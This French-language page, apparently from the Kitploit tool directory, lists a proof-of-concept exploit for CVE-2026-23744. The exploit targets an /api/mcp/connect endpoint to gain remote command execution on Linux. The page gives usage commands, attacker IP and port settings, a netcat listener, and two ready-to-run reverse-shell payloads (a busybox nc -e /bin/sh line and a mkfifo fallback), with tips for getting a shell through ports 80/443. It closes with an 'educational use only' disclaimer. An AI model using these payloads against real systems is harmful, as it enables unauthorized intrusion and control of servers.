Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/h1sok444/cve-2026-23744-poc
ExploitationExploitation d'Applications WebCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubh1sok444/cve-2026-23744-poc

CVE-2026-23744-PoC

Preuve de concept d'exploitation pour CVE-2026-23744, ciblant /api/mcp/connect pour exécuter des commandes à distance sur les systèmes Linux via un shell inversé.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23744-PoC

Exploit RCE MCP (Linux)

PoC pour exploiter /api/mcp/connect afin d'exécuter des commandes à distance.

Prérequis

root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
python3 exploit.py <cible>

Exemple :

root@kitploit:~
python3 exploit.py mcp.something.com

Configuration (à modifier dans le script)

root@kitploit:~
attacker_ip = "YOUR_IP"
port = 4444

Écouteur

root@kitploit:~
nc -lvnp 4444

Payloads

Par défaut :

root@kitploit:~
busybox nc <IP> <PORT> -e /bin/sh

Repli :

root@kitploit:~
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc <IP> <PORT> > /tmp/f

Remarques

  • Essayez les ports 80/443 si aucun shell n'est obtenu
  • Utilisez le repli si -e échoue

Avertissement

À usage éducatif uniquement.

Télécharger l’outil